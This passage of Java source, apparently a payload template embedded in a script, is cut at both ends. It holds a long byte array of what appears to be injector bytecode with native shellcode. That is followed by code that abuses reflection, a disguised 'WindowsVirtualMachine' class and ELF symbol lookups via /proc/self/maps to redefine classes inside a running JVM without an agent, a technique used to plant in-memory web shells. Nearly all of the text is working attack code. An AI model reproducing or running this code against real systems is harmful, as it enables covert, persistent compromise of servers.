0, -91, 16, 48, 84, 89, 17, 0, -90, 16, 72, 84, 89, 17, 0, -89, 16, -125, 84, 89, 17, 0, -88, 16, -60, 84, 89, 17, 0, -87, 16, 16, 84, 89, 17, 0, -86, 16, 72, 84, 89, 17, 0, -85, 16, -119, 84, 89, 17, 0, -84, 16, -58, 84, 89, 17, 0, -83, 16, -71, 84, 89, 17, 0, -82, 16, 108, 84, 89, 17, 0, -81, 16, 108, 84, 89, 17, 0, -78, 16, 81, 84, 89, 17, 0, -77, 16, -71, 84, 89, 17, 0, -76, 16, 106, 84, 89, 17, 0, -75, 16, 118, 84, 89, 17, 0, -74, 16, 109, 84, 89, 17, 0, -72, 16, 81, 84, 89, 17, 0, -71, 16, 72, 84, 89, 17, 0, -70, 16, -119, 84, 89, 17, 0, -69, 16, -31, 84, 89, 17, 0, -68, 16, 72, 84, 89, 17, 0, -67, 16, -125, 84, 89, 17, 0, -66, 16, -20, 84, 89, 17, 0, -65, 16, 48, 84, 89, 17, 0, -64, 2, 84, 89, 17, 0, -63, 16, -42, 84, 89, 17, 0, -62, 16, 72, 84, 89, 17, 0, -61, 16, -125, 84, 89, 17, 0, -60, 16, -60, 84, 89, 17, 0, -59, 16, 48, 84, 89, 17, 0, -58, 16, 72, 84, 89, 17, 0, -57, 16, -125, 84, 89, 17, 0, -56, 16, -60, 84, 89, 17, 0, -55, 16, 16, 84, 89, 17, 0, -54, 16, 73, 84, 89, 17, 0, -53, 16, -119, 84, 89, 17, 0, -52, 16, -57, 84, 89, 17, 0, -51, 16, 72, 84, 89, 17, 0, -50, 16, 49, 84, 89, 17, 0, -49, 16, -55, 84, 89, 17, 0, -48, 16, 72, 84, 89, 17, 0, -47, 16, -71, 84, 89, 17, 0, -46, 16, 118, 84, 89, 17, 0, -45, 16, 97, 84, 89, 17, 0, -44, 16, 86, 84, 89, 17, 0, -43, 16, 77, 84, 89, 17, 0, -42, 16, 115, 84, 89, 17, 0, -38, 16, 81, 84, 89, 17, 0, -37, 16, 72, 84, 89, 17, 0, -36, 16, -71, 84, 89, 17, 0, -35, 16, 114, 84, 89, 17, 0, -34, 16, 101, 84, 89, 17, 0, -33, 16, 97, 84, 89, 17, 0, -32, 16, 116, 84, 89, 17, 0, -31, 16, 101, 84, 89, 17, 0, -30, 16, 100, 84, 89, 17, 0, -29, 16, 74, 84, 89, 17, 0, -28, 16, 97, 84, 89, 17, 0, -27, 16, 81, 84, 89, 17, 0, -26, 16, 72, 84, 89, 17, 0, -25, 16, -71, 84, 89, 17, 0, -24, 16, 74, 84, 89, 17, 0, -23, 16, 78, 84, 89, 17, 0, -22, 16, 73, 84, 89, 17, 0, -21, 16, 95, 84, 89, 17, 0, -20, 16, 71, 84, 89, 17, 0, -19, 16, 101, 84, 89, 17, 0, -18, 16, 116, 84, 89, 17, 0, -17, 16, 67, 84, 89, 17, 0, -16, 16, 81, 84, 89, 17, 0, -15, 16, 72, 84, 89, 17, 0, -14, 16, -119, 84, 89, 17, 0, -13, 16, -30, 84, 89, 17, 0, -12, 16, 76, 84, 89, 17, 0, -11, 16, -119, 84, 89, 17, 0, -10, 16, -7, 84, 89, 17, 0, -9, 16, 72, 84, 89, 17, 0, -8, 16, -125, 84, 89, 17, 0, -7, 16, -20, 84, 89, 17, 0, -6, 16, 40, 84, 89, 17, 0, -5, 2, 84, 89, 17, 0, -4, 16, -41, 84, 89, 17, 0, -3, 16, 72, 84, 89, 17, 0, -2, 16, -125, 84, 89, 17, 0, -1, 16, -60, 84, 89, 17, 1, 0, 16, 40, 84, 89, 17, 1, 1, 16, 72, 84, 89, 17, 1, 2, 16, -125, 84, 89, 17, 1, 3, 16, -60, 84, 89, 17, 1, 4, 16, 24, 84, 89, 17, 1, 5, 16, 73, 84, 89, 17, 1, 6, 16, -119, 84, 89, 17, 1, 7, 16, -57, 84, 89, 17, 1, 8, 16, 72, 84, 89, 17, 1, 9, 16, -125, 84, 89, 17, 1, 10, 16, -20, 84, 89, 17, 1, 11, 16, 40, 84, 89, 17, 1, 12, 16, 72, 84, 89, 17, 1, 13, 16, -119, 84, 89, 17, 1, 14, 16, -31, 84, 89, 17, 1, 15, 16, -70, 84, 89, 17, 1, 16, 4, 84, 89, 17, 1, 20, 16, 73, 84, 89, 17, 1, 21, 16, -119, 84, 89, 17, 1, 22, 16, -56, 84, 89, 17, 1, 23, 16, 73, 84, 89, 17, 1, 24, 16, -125, 84, 89, 17, 1, 25, 16, -64, 84, 89, 17, 1, 26, 16, 8, 84, 89, 17, 1, 27, 16, 72, 84, 89, 17, 1, 28, 16, -125, 84, 89, 17, 1, 29, 16, -20, 84, 89, 17, 1, 30, 16, 40, 84, 89, 17, 1, 31, 16, 65, 84, 89, 17, 1, 32, 2, 84, 89, 17, 1, 33, 16, -41, 84, 89, 17, 1, 34, 16, 72, 84, 89, 17, 1, 35, 16, -125, 84, 89, 17, 1, 36, 16, -60, 84, 89, 17, 1, 37, 16, 40, 84, 89, 17, 1, 38, 16, 72, 84, 89, 17, 1, 39, 16, -117, 84, 89, 17, 1, 40, 16, 9, 84, 89, 17, 1, 41, 16, 72, 84, 89, 17, 1, 42, 16, -125, 84, 89, 17, 1, 43, 16, -20, 84, 89, 17, 1, 44, 16, 32, 84, 89, 17, 1, 45, 16, 84, 84, 89, 17, 1, 46, 16, 72, 84, 89, 17, 1, 47, 16, -119, 84, 89, 17, 1, 48, 16, -30, 84, 89, 17, 1, 49, 16, 77, 84, 89, 17, 1, 50, 16, 49, 84, 89, 17, 1, 51, 16, -64, 84, 89, 17, 1, 52, 16, 76, 84, 89, 17, 1, 53, 16, -117, 84, 89, 17, 1, 54, 16, 57, 84, 89, 17, 1, 55, 16, 77, 84, 89, 17, 1, 56, 16, -117, 84, 89, 17, 1, 57, 16, 127, 84, 89, 17, 1, 58, 16, 32, 84, 89, 17, 1, 59, 16, 73, 84, 89, 17, 1, 60, 16, -119, 84, 89, 17, 1, 61, 16, -50, 84, 89, 17, 1, 62, 16, 65, 84, 89, 17, 1, 63, 2, 84, 89, 17, 1, 64, 16, -41, 84, 89, 17, 1, 65, 16, 76, 84, 89, 17, 1, 66, 16, -119, 84, 89, 17, 1, 67, 16, -15, 84, 89, 17, 1, 68, 16, 72, 84, 89, 17, 1, 69, 16, -70, 84, 89, 17, 1, 70, 16, 72, 84, 89, 17, 1, 71, 16, 71, 84, 89, 17, 1, 72, 16, 70, 84, 89, 17, 1, 73, 16, 69, 84, 89, 17, 1, 74, 16, 68, 84, 89, 17, 1, 75, 16, 67, 84, 89, 17, 1, 76, 16, 66, 84, 89, 17, 1, 77, 16, 65, 84, 89, 17, 1, 78, 16, 65, 84, 89, 17, 1, 79, 16, -72, 84, 89, 17, 1, 81, 5, 84, 89, 17, 1, 82, 4, 84, 89, 17, 1, 83, 16, 48, 84, 89, 17, 1, 84, 16, 77, 84, 89, 17, 1, 85, 16, -117, 84, 89, 17, 1, 86, 16, 62, 84, 89, 17, 1, 87, 16, 77, 84, 89, 17, 1, 88, 16, -117, 84, 89, 17, 1, 89, 16, 127, 84, 89, 17, 1, 90, 16, 48, 84, 89, 17, 1, 91, 16, 72, 84, 89, 17, 1, 92, 16, -125, 84, 89, 17, 1, 93, 16, -20, 84, 89, 17, 1, 94, 16, 32, 84, 89, 17, 1, 95, 16, 65, 84, 89, 17, 1, 96, 2, 84, 89, 17, 1, 97, 16, -41, 84, 89, 17, 1, 98, 16, 72, 84, 89, 17, 1, 99, 16, -125, 84, 89, 17, 1, 100, 16, -60, 84, 89, 17, 1, 101, 16, 32, 84, 89, 17, 1, 102, 16, 76, 84, 89, 17, 1, 103, 16, -119, 84, 89, 17, 1, 104, 16, -15, 84, 89, 17, 1, 105, 16, 77, 84, 89, 17, 1, 106, 16, -117, 84, 89, 17, 1, 107, 16, 62, 84, 89, 17, 1, 108, 16, 77, 84, 89, 17, 1, 109, 16, -117, 84, 89, 17, 1, 110, 16, 127, 84, 89, 17, 1, 111, 16, 40, 84, 89, 17, 1, 112, 16, 65, 84, 89, 17, 1, 113, 2, 84, 89, 17, 1, 114, 16, -41, 84, 89, 17, 1, 115, 16, 72, 84, 89, 17, 1, 116, 16, -125, 84, 89, 17, 1, 117, 16, -60, 84, 89, 17, 1, 118, 16, 120, 84, 89, 17, 1, 119, 16, -61, 84, 78, 16, 8, -68, 8, 89, 3, 16, 72, 84, 89, 4, 16, 71, 84, 89, 5, 16, 70, 84, 89, 6, 16, 69, 84, 89, 7, 16, 68, 84, 89, 8, 16, 67, 84, 89, 16, 6, 16, 66, 84, 89, 16, 7, 16, 65, 84, 58, 4, -78, 0, 14, 7, -96, 6, 0, 17, 0, -13, -68, 8, 89, 3, 16, -112, 84, 89, 4, 16, -112, 84, 89, 5, 16, -112, 84, 89, 6, 16, 51, 84, 89, 7, 16, -55, 84, 89, 8, 16, 100, 84, 89, 16, 6, 16, -95, 84, 89, 16, 7, 16, 48, 84, 89, 16, 11, 16, -117, 84, 89, 16, 12, 16, 64, 84, 89, 16, 13, 16, 12, 84, 89, 16, 14, 16, -117, 84, 89, 16, 15, 16, 112, 84, 89, 16, 16, 16, 20, 84, 89, 16, 17, 16, -83, 84, 89, 16, 18, 16, -106, 84, 89, 16, 19, 16, -83, 84, 89, 16, 20, 16, -117, 84, 89, 16, 21, 16, 88, 84, 89, 16, 22, 16, 16, 84, 89, 16, 23, 16, -117, 84, 89, 16, 24, 16, 83, 84, 89, 16, 25, 16, 60, 84, 89, 16, 26, 6, 84, 89, 16, 27, 16, -45, 84, 89, 16, 28, 16, -117, 84, 89, 16, 29, 16, 82, 84, 89, 16, 30, 16, 120, 84, 89, 16, 31, 6, 84, 89, 16, 32, 16, -45, 84, 89, 16, 33, 16, 51, 84, 89, 16, 34, 16, -55, 84, 89, 16, 35, 16, -117, 84, 89, 16, 36, 16, 114, 84, 89, 16, 37, 16, 32, 84, 89, 16, 38, 6, 84, 89, 16, 39, 16, -13, 84, 89, 16, 40, 16, 65, 84, 89, 16, 41, 16, -83, 84, 89, 16, 42, 6, 84, 89, 16, 43, 16, -61, 84, 89, 16, 44, 16, -127, 84, 89, 16, 45, 16, 56, 84, 89, 16, 46, 16, 71, 84, 89, 16, 47, 16, 101, 84, 89, 16, 48, 16, 116, 84, 89, 16, 49, 16, 80, 84, 89, 16, 50, 16, 117, 84, 89, 16, 51, 16, -12, 84, 89, 16, 52, 16, -127, 84, 89, 16, 53, 16, 120, 84, 89, 16, 54, 7, 84, 89, 16, 55, 16, 114, 84, 89, 16, 56, 16, 111, 84, 89, 16, 57, 16, 99, 84, 89, 16, 58, 16, 65, 84, 89, 16, 59, 16, 117, 84, 89, 16, 60, 16, -21, 84, 89, 16, 61, 16, -127, 84, 89, 16, 62, 16, 120, 84, 89, 16, 63, 16, 8, 84, 89, 16, 64, 16, 100, 84, 89, 16, 65, 16, 100, 84, 89, 16, 66, 16, 114, 84, 89, 16, 67, 16, 101, 84, 89, 16, 68, 16, 117, 84, 89, 16, 69, 16, -30, 84, 89, 16, 70, 16, -117, 84, 89, 16, 71, 16, 114, 84, 89, 16, 72, 16, 36, 84, 89, 16, 73, 6, 84, 89, 16, 74, 16, -13, 84, 89, 16, 75, 16, 102, 84, 89, 16, 76, 16, -117, 84, 89, 16, 77, 16, 12, 84, 89, 16, 78, 16, 78, 84, 89, 16, 79, 16, 73, 84, 89, 16, 80, 16, -117, 84, 89, 16, 81, 16, 114, 84, 89, 16, 82, 16, 28, 84, 89, 16, 83, 6, 84, 89, 16, 84, 16, -13, 84, 89, 16, 85, 16, -117, 84, 89, 16, 86, 16, 20, 84, 89, 16, 87, 16, -114, 84, 89, 16, 88, 6, 84, 89, 16, 89, 16, -45, 84, 89, 16, 90, 16, 82, 84, 89, 16, 91, 16, 51, 84, 89, 16, 92, 16, -55, 84, 89, 16, 93, 16, 81, 84, 89, 16, 94, 16, 104, 84, 89, 16, 95, 16, 97, 84, 89, 16, 96, 16, 114, 84, 89, 16, 97, 16, 121, 84, 89, 16, 98, 16, 65, 84, 89, 16, 99, 16, 104, 84, 89, 16, 100, 16, 76, 84, 89, 16, 101, 16, 105, 84, 89, 16, 102, 16, 98, 84, 89, 16, 103, 16, 114, 84, 89, 16, 104, 16, 104, 84, 89, 16, 105, 16, 76, 84, 89, 16, 106, 16, 111, 84, 89, 16, 107, 16, 97, 84, 89, 16, 108, 16, 100, 84, 89, 16, 109, 16, 84, 84, 89, 16, 110, 16, 83, 84, 89, 16, 111, 2, 84, 89, 16, 112, 16, -46, 84, 89, 16, 113, 16, -125, 84, 89, 16, 114, 16, -60, 84, 89, 16, 115, 16, 12, 84, 89, 16, 116, 16, 89, 84, 89, 16, 117, 16, 80, 84, 89, 16, 118, 16, 102, 84, 89, 16, 119, 16, -71, 84, 89, 16, 120, 16, 51, 84, 89, 16, 121, 16, 50, 84, 89, 16, 122, 16, 81, 84, 89, 16, 123, 16, 104, 84, 89, 16, 124, 16, 106, 84, 89, 16, 125, 16, 118, 84, 89, 16, 126, 16, 109, 84, 89, 17, 0, -128, 16, 84, 84, 89, 17, 0, -127, 2, 84, 89, 17, 0, -126, 16, -48, 84, 89, 17, 0, -125, 16, -117, 84, 89, 17, 0, -124, 16, -40, 84, 89, 17, 0, -123, 16, -125, 84, 89, 17, 0, -122, 16, -60, 84, 89, 17, 0, -121, 16, 12, 84, 89, 17, 0, -120, 16, 90, 84, 89, 17, 0, -119, 16, 51, 84, 89, 17, 0, -118, 16, -55, 84, 89, 17, 0, -117, 16, 81, 84, 89, 17, 0, -116, 16, 106, 84, 89, 17, 0, -115, 16, 115, 84, 89, 17, 0, -114, 16, 104, 84, 89, 17, 0, -113, 16, 118, 84, 89, 17, 0, -112, 16, 97, 84, 89, 17, 0, -111, 16, 86, 84, 89, 17, 0, -110, 16, 77, 84, 89, 17, 0, -109, 16, 104, 84, 89, 17, 0, -108, 16, 101, 84, 89, 17, 0, -107, 16, 100, 84, 89, 17, 0, -106, 16, 74, 84, 89, 17, 0, -105, 16, 97, 84, 89, 17, 0, -104, 16, 104, 84, 89, 17, 0, -103, 16, 114, 84, 89, 17, 0, -102, 16, 101, 84, 89, 17, 0, -101, 16, 97, 84, 89, 17, 0, -100, 16, 116, 84, 89, 17, 0, -99, 16, 104, 84, 89, 17, 0, -98, 16, 71, 84, 89, 17, 0, -97, 16, 101, 84, 89, 17, 0, -96, 16, 116, 84, 89, 17, 0, -95, 16, 67, 84, 89, 17, 0, -94, 16, 104, 84, 89, 17, 0, -93, 16, 74, 84, 89, 17, 0, -92, 16, 78, 84, 89, 17, 0, -91, 16, 73, 84, 89, 17, 0, -90, 16, 95, 84, 89, 17, 0, -89, 16, 84, 84, 89, 17, 0, -88, 16, 83, 84, 89, 17, 0, -87, 2, 84, 89, 17, 0, -86, 16, -46, 84, 89, 17, 0, -85, 16, -119, 84, 89, 17, 0, -84, 16, 69, 84, 89, 17, 0, -83, 16, -16, 84, 89, 17, 0, -82, 16, 84, 84, 89, 17, 0, -81, 16, 106, 84, 89, 17, 0, -80, 4, 84, 89, 17, 0, -79, 16, 84, 84, 89, 17, 0, -78, 16, 89, 84, 89, 17, 0, -77, 16, -125, 84, 89, 17, 0, -76, 16, -63, 84, 89, 17, 0, -75, 16, 16, 84, 89, 17, 0, -74, 16, 81, 84, 89, 17, 0, -73, 16, 84, 84, 89, 17, 0, -72, 16, 89, 84, 89, 17, 0, -71, 16, 106, 84, 89, 17, 0, -70, 4, 84, 89, 17, 0, -69, 16, 81, 84, 89, 17, 0, -68, 2, 84, 89, 17, 0, -67, 16, -48, 84, 89, 17, 0, -66, 16, -117, 84, 89, 17, 0, -65, 16, -63, 84, 89, 17, 0, -64, 16, -125, 84, 89, 17, 0, -63, 16, -20, 84, 89, 17, 0, -62, 16, 48, 84, 89, 17, 0, -61, 16, 106, 84, 89, 17, 0, -59, 16, 84, 84, 89, 17, 0, -58, 16, 89, 84, 89, 17, 0, -57, 16, -125, 84, 89, 17, 0, -56, 16, -63, 84, 89, 17, 0, -55, 16, 16, 84, 89, 17, 0, -54, 16, 81, 84, 89, 17, 0, -53, 16, -117, 84, 89, 17, 0, -51, 16, 80, 84, 89, 17, 0, -50, 16, -117, 84, 89, 17, 0, -49, 16, 24, 84, 89, 17, 0, -48, 16, -117, 84, 89, 17, 0, -47, 16, 67, 84, 89, 17, 0, -46, 16, 16, 84, 89, 17, 0, -45, 2, 84, 89, 17, 0, -44, 16, -48, 84, 89, 17, 0, -43, 16, -117, 84, 89, 17, 0, -42, 16, 67, 84, 89, 17, 0, -41, 16, 24, 84, 89, 17, 0, -40, 16, 104, 84, 89, 17, 0, -38, 5, 84, 89, 17, 0, -37, 4, 84, 89, 17, 0, -36, 16, 48, 84, 89, 17, 0, -35, 16, 104, 84, 89, 17, 0, -34, 16, 68, 84, 89, 17, 0, -33, 16, 67, 84, 89, 17, 0, -32, 16, 66, 84, 89, 17, 0, -31, 16, 65, 84, 89, 17, 0, -30, 16, -125, 84, 89, 17, 0, -29, 16, -20, 84, 89, 17, 0, -28, 7, 84, 89, 17, 0, -27, 2, 84, 89, 17, 0, -26, 16, -48, 84, 89, 17, 0, -25, 16, -125, 84, 89, 17, 0, -24, 16, -20, 84, 89, 17, 0, -23, 16, 12, 84, 89, 17, 0, -22, 16, -117, 84, 89, 17, 0, -21, 16, 67, 84, 89, 17, 0, -20, 16, 20, 84, 89, 17, 0, -19, 2, 84, 89, 17, 0, -18, 16, -48, 84, 89, 17, 0, -17, 16, -125, 84, 89, 17, 0, -16, 16, -60, 84, 89, 17, 0, -15, 16, 92, 84, 89, 17, 0, -14, 16, -61, 84, 78, 7, -68, 8, 89, 3, 16, 68, 84, 89, 4, 16, 67, 84, 89, 5, 16, 66, 84, 89, 6, 16, 65, 84, 58, 4, 45, 25, 4, 31, -78, 0, 14, -123, 97, -78, 0, 14, -72, 0, 62, -72, 0, 66, 78, -78, 0, 70, 16, 7, 16, 50, 84, 18, 72, -72, 0, 74, 20, 0, 80, 45, 18, 82, 18, 82, 3, -67, 0, 3, -72, 0, 83, -89, 0, 11, 58, 5, 25, 5, -74, 0, 85, -79, 42, 31, -78, 0, 14, -123, 97, -74, 0, 88, 55, 5, -78, 0, 14, 7, -96, 0, 17, 42, 22, 5, 20, 0, 91, 97, 5, -74, 0, 93, -89, 0, 14, 42, 22, 5, 20, 0, 97, 97, 5, -74, 0, 93, 18, 99, -72, 0, 101, 58, 7, 25, 7, 6, -67, 0, 36, 89, 3, -78, 0, 105, 83, 89, 4, -78, 0, 111, 83, 89, 5, -78, 0, 111, 83, -74, 0, 114, 58, 8, 25, 8, 4, -74, 0, 118, 25, 8, 6, -67, 0, 3, 89, 3, 31, -72, 0, 121, 83, 89, 4, 4, -72, 0, 125, 83, 89, 5, 3, -72, 0, 125, 83, -74, 0, -128, 58, 9, -69, 0, -124, 89, -78, 0, -122, -72, 0, 101, -78, 0, 70, -73, 0, -120, 58, 10, 25, 7, 18, -117, 4, -67, 0, 36, 89, 3, 18, -115, 83, -74, 0, -113, 58, 11, 25, 11, 25, 9, 4, -67, 0, 3, 89, 3, 4, -67, 0, -124, 89, 3, 25, 10, 83, 83, -74, 0, -109, 87, -89, 0, 13, 58, 7, 25, 7, -74, 0, -103, 25, 7, -65, -79, 0, 3, 0, 2, 0, 24, 0, 27, 0, 29, 15, -39, 15, -19, 15, -16, 0, 29, 16, 36, 16, -86, 16, -83, 0, -102, 0, 4, 0, 16, 0, 0, 0, -98, 0, 39, 0, 0, 0, 29, 0, 2, 0, 31, 0, 10, 0, 32, 0, 15, 0, 33, 0, 24, 0, 34, 0, 28, 0, 35, 0, 37, 0, 38, 0, 45, 0, 41, 9, -118, 0, 42, 9, -70, 0, 43, 9, -63, 0, 44, 15, -91, 0, 45, 15, -66, 0, 47, 15, -47, 0, 48, 15, -39, 0, 50, 15, -34, 0, 51, 15, -19, 0, 52, 15, -14, 0, 53, 15, -9, 0, 54, 15, -8, 0, 56, 16, 4, 0, 57, 16, 11, 0, 59, 16, 22, 0, 60, 16, 25, 0, 63, 16, 36, 0, 66, 16, 43, 0, 67, 16, 72, 0, 68, 16, 78, 0, 69, 16, 110, 0, 71, 16, -128, 0, 72, 16, -110, 0, 73, 16, -100, 0, 74, 16, -94, 0, 75, 16, -90, 0, 73, 16, -86, 0, 78, 16, -83, 0, 79, 16, -81, 0, 81, 16, -76, 0, 82, 16, -73, 0, 85, 0, 17, 0, 0, 0, -114, 0, 14, 0, 2, 16, -74, 0, -100, 0, -99, 0, 0, 0, 10, 0, 14, 0, -98, 0, -97, 0, 1, 0, 28, 0, 9, 0, -96, 0, -95, 0, 1, 0, 45, 16, -117, 0, -94, 0, -93, 0, 1, 9, -118, 7, 46, 0, -92, 0, 10, 0, 3, 9, -70, 6, -2, 0, -91, 0, 10, 0, 4, 15, -14, 0, 6, 0, -96, 0, -95, 0, 5, 16, 4, 0, -76, 0, -90, 0, -93, 0, 5, 16, 43, 0, 127, 0, -89, 0, 110, 0, 7, 16, 72, 0, 98, 0, -88, 0, -87, 0, 8, 16, 110, 0, 60, 0, -86, 0, -85, 0, 9, 16, -128, 0, 42, 0, -84, 0, -83, 0, 10, 16, -110, 0, 24, 0, -82, 0, -81, 0, 11, 16, -81, 0, 8, 0, -80, 0, -79, 0, 7, 0, -78, 0, 0, 0, 22, 0, 2, 16, 43, 0, 127, 0, -89, 0, -77, 0, 7, 16, 72, 0, 98, 0, -88, 0, -76, 0, 8, 0, -75, 0, 0, 0, 43, 0, 9, -1, 0, 27, 0, 1, 7, 0, 31, 0, 1, 7, 0, 29, 9, -2, 15, -104, 4, 7, 0, -74, 7, 0, -74, 113, 7, 0, 29, 7, -4, 0, 32, 4, 10, -9, 0, -120, 7, 0, -102, 9, 0, 9, 0, 64, 0, 65, 0, 1, 0, 13, 0, 0, 0, -117, 0, 6, 0, 5, 0, 0, 0, 35, 28, -68, 8, 78, 3, 54, 4, -89, 0, 19, 45, 21, 4, 30, 21, 4, 16, 8, 104, 123, -120, -111, 84, -124, 4, 1, 21, 4, 45, -66, -95, -1, -20, 45, -80, 0, 0, 0, 3, 0, 16, 0, 0, 0, 22, 0, 5, 0, 0, 0, 91, 0, 4, 0, 93, 0, 10, 0, 94, 0, 23, 0, 93, 0, 33, 0, 96, 0, 17, 0, 0, 0, 42, 0, 4, 0, 0, 0, 35, 0, -73, 0, -93, 0, 0, 0, 0, 0, 35, 0, -72, 0, 6, 0, 2, 0, 4, 0, 31, 0, -71, 0, 10, 0, 3, 0, 7, 0, 26, 0, -70, 0, 6, 0, 4, 0, -75, 0, 0, 0, 10, 0, 2, -3, 0, 10, 7, 0, -74, 1, 15, 0, 10, 0, 68, 0, 69, 0, 1, 0, 13, 0, 0, 0, -30, 0, 5, 0, 6, 0, 0, 0, 74, 3, 62, -89, 0, 64, 4, 54, 4, 3, 54, 5, -89, 0, 31, 29, 21, 5, 96, 42, -66, -94, 0, 16, 42, 29, 21, 5, 96, 51, 43, 21, 5, 51, -97, 0, 6, 3, 54, 4, -124, 5, 1, 21, 5, 43, -66, -95, -1, -32, 21, 4, -103, 0, 12, 44, 3, 42, 29, 44, -66, -72, 0, -69, -124, 3, 1, 29, 42, -66, -95, -1, -64, 42, -80, 0, 0, 0, 3, 0, 16, 0, 0, 0, 42, 0, 10, 0, 0, 0, 102, 0, 5, 0, 104, 0, 8, 0, 105, 0, 14, 0, 107, 0, 36, 0, 112, 0, 39, 0, 105, 0, 49, 0, 115, 0, 54, 0, 117, 0, 63, 0, 102, 0, 72, 0, 120, 0, 17, 0, 0, 0, 62, 0, 6, 0, 0, 0, 74, 0, -65, 0, 10, 0, 0, 0, 0, 0, 74, 0, -64, 0, 10, 0, 1, 0, 0, 0, 74, 0, -63, 0, 10, 0, 2, 0, 2, 0, 70, 0, -70, 0, 6, 0, 3, 0, 8, 0, 55, 0, -62, 0, -61, 0, 4, 0, 11, 0, 38, 0, -60, 0, 6, 0, 5, 0, -75, 0, 0, 0, 18, 0, 7, -4, 0, 5, 1, -3, 0, 8, 1, 1, 21, 2, 2, -7, 0, 20, 2, 0, 1, 0, -59, 0, 0, 0, 2, 0, -58}};\n\n        Constructor constructor = java.security.SecureClassLoader.class\n            .getDeclaredConstructor(ClassLoader.class);\n        constructor.setAccessible(true);\n        ClassLoader classloader = (ClassLoader) constructor.newInstance(\n            new Object[]{{this.getClass().getClassLoader()}}\n        );\n        Class injector;\n        try {{\n            injector = classloader.loadClass(\n                \"sun.tools.attach.WindowsVirtualMachine\"\n            );\n        }} catch (ClassNotFoundException e) {{\n            Method defineMethod = ClassLoader.class.getDeclaredMethod(\n                \"defineClass\", String.class,\n                ByteBuffer.class, ProtectionDomain.class\n            );\n            defineMethod.setAccessible(true);\n            injector = (Class)defineMethod.invoke(\n                this.getClass().getClassLoader().getParent(),\n                null, ByteBuffer.wrap(inject), null\n            );\n        }}\n\n        injector.getField(\"classBody\").set(null, classByte);\n        injector.getField(\"className\").set(null, className);\n        if (System.getProperty(\"os.arch\").indexOf(\"x86\") >= 0) {{\n            injector.getField(\"pointerLength\").set(null, 4);\n        }} else {{\n            injector.getField(\"pointerLength\").set(null, 8);\n        }}\n\n        Method work = injector.getDeclaredMethod(\"work\");\n        work.invoke(null, null);\n    }}\n\n    private int ELF_ST_TYPE(int x) {{\n        return x & 15;\n    }}\n\n    private long find_symbol(String elfpath, String sym, long libbase)\n            throws IOException {{\n        long func_ptr = 0L;\n        RandomAccessFile fin = new RandomAccessFile(elfpath, \"r\");\n        byte[] e_ident = new byte[16];\n        fin.read(e_ident);\n        short e_type = Short.reverseBytes(fin.readShort());\n        short e_machine = Short.reverseBytes(fin.readShort());\n        int e_version = Integer.reverseBytes(fin.readInt());\n        long e_entry = Long.reverseBytes(fin.readLong());\n        long e_phoff = Long.reverseBytes(fin.readLong());\n        long e_shoff = Long.reverseBytes(fin.readLong());\n        int e_flags = Integer.reverseBytes(fin.readInt());\n        short e_ehsize = Short.reverseBytes(fin.readShort());\n        short e_phentsize = Short.reverseBytes(fin.readShort());\n        short e_phnum = Short.reverseBytes(fin.readShort());\n        short e_shentsize = Short.reverseBytes(fin.readShort());\n        short e_shnum = Short.reverseBytes(fin.readShort());\n        short e_shstrndx = Short.reverseBytes(fin.readShort());\n        int sh_name = 0;\n        int sh_type = 0;\n        long sh_flags = 0L;\n        long sh_addr = 0L;\n        long sh_offset = 0L;\n        long sh_size = 0L;\n        int sh_link = 0;\n        int sh_info = 0;\n        long sh_addralign = 0L;\n        long sh_entsize = 0L;\n\n        for(int i = 0; i < e_shnum; ++i) {{\n            fin.seek(e_shoff + (long)(i * 64));\n            sh_name = Integer.reverseBytes(fin.readInt());\n            sh_type = Integer.reverseBytes(fin.readInt());\n            sh_flags = Long.reverseBytes(fin.readLong());\n            sh_addr = Long.reverseBytes(fin.readLong());\n            sh_offset = Long.reverseBytes(fin.readLong());\n            sh_size = Long.reverseBytes(fin.readLong());\n            sh_link = Integer.reverseBytes(fin.readInt());\n            sh_info = Integer.reverseBytes(fin.readInt());\n            sh_addralign = Long.reverseBytes(fin.readLong());\n            sh_entsize = Long.reverseBytes(fin.readLong());\n            if (sh_type == 11) {{\n                break;\n            }}\n        }}\n\n        long symtab_shdr_sh_size = sh_size;\n        long symtab_shdr_sh_entsize = sh_entsize;\n        long symtab_shdr_sh_offset = sh_offset;\n        fin.seek(e_shoff + (long)(sh_link * e_shentsize));\n        sh_name = Integer.reverseBytes(fin.readInt());\n        sh_type = Integer.reverseBytes(fin.readInt());\n        sh_flags = Long.reverseBytes(fin.readLong());\n        sh_addr = Long.reverseBytes(fin.readLong());\n        sh_offset = Long.reverseBytes(fin.readLong());\n        sh_size = Long.reverseBytes(fin.readLong());\n        sh_link = Integer.reverseBytes(fin.readInt());\n        sh_info = Integer.reverseBytes(fin.readInt());\n        sh_addralign = Long.reverseBytes(fin.readLong());\n        sh_entsize = Long.reverseBytes(fin.readLong());\n        long symstr_shdr_sh_offset = sh_offset;\n        long cnt = symtab_shdr_sh_entsize > 0L ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0L;\n\n        for(long i = 0L; i < cnt; ++i) {{\n            fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i);\n            int st_name = Integer.reverseBytes(fin.readInt());\n            byte st_info = fin.readByte();\n            byte st_other = fin.readByte();\n            short st_shndx = Short.reverseBytes(fin.readShort());\n            long st_value = Long.reverseBytes(fin.readLong());\n            long st_size = Long.reverseBytes(fin.readLong());\n            if (st_value != 0L && st_name != 0 && (ELF_ST_TYPE(st_info) == 2 || ELF_ST_TYPE(st_info) == 10)) {{\n                fin.seek(symstr_shdr_sh_offset + (long)st_name);\n                String name = \"\";\n\n                for(byte ch = 0; (ch = fin.readByte()) != 0; name = name + (char)ch) {{\n                }}\n\n                if (sym.equals(name)) {{\n                    func_ptr = libbase + st_value;\n                    break;\n                }}\n            }}\n        }}\n\n        fin.close();\n        return func_ptr;\n    }}\n\n    private void redefineNix(String className, byte[] classByte) throws Exception {{\n        FileReader fin = new FileReader(\"/proc/self/maps\");\n        BufferedReader reader = new BufferedReader(fin);\n        long RandomAccessFile_length = 0L;\n        long JNI_GetCreatedJavaVMs = 0L;\n\n        String line;\n        while((line = reader.readLine()) != null) {{\n            String[] splits = line.trim().split(\" \");\n            String[] addr_range;\n            long libbase;\n            String elfpath;\n            if (line.endsWith(\"libjava.so\") && RandomAccessFile_length == 0L) {{\n                addr_range = splits[0].split(\"-\");\n                libbase = Long.parseLong(addr_range[0], 16);\n                elfpath = splits[splits.length - 1];\n                RandomAccessFile_length = find_symbol(elfpath, \"Java_java_io_RandomAccessFile_length\", libbase);\n            }} else if (line.endsWith(\"libjvm.so\") && JNI_GetCreatedJavaVMs == 0L) {{\n                